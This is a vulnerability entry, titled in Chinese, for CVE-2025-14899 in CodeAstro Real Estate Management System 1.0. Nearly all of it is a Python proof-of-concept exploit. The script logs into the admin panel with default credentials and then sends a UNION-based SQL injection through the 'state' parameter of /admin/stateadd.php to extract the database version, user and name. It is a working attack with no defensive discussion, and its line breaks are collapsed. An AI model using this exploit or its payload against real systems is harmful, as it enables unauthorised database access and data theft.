CVE-2025-14899 CodeAstro房地产管理系统stateadd.php SQL注入漏洞

# CVE-2025-14899 SQL Injection PoC # Target: CodeAstro Real Estate Management System 1.0 # Endpoint: /admin/stateadd.php # Vector: SQL Injection via state parameter import requests import sys target = "http://target.com" login_url = f"{target}/admin/index.php" inject_url = f"{target}/admin/stateadd.php" # Admin credentials (required for exploitation) admin_creds = { "username": "admin", "password": "admin123" } def exploit_sqli(): """SQL Injection exploitation using UNION-based injection""" # Step 1: Login as admin session = requests.Session() login_resp = session.post(login_url, data=admin_creds) if "login" in login_resp.url.lower(): print("[-] Login failed!") return None print("[+] Login successful!") # Step 2: SQL Injection payload - extract database version # Using UNION-based injection to extract database information sqli_payload = "1' UNION SELECT NULL,version(),user(),database()-- -" data = { "state": sqli_payload, "submit": "Submit" } try: resp = session.post(inject_url, data=data, timeout=10) if resp.status_code == 200: print("[+] Payload sent successfully!") print(f"[*] Response length: {len(resp.text)}") # Check for SQL error or data leakage if "5." in resp.text or "MariaDB" in resp.text or "MySQL" in resp.text: print("[!] SQL injection confirmed - data exfiltrated!") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return session if __name__ == "__main__": print("[*] CVE-2025-14899 SQL Injection PoC") print("[*] Target: CodeAstro Real Estate Management System") exploit_sqli()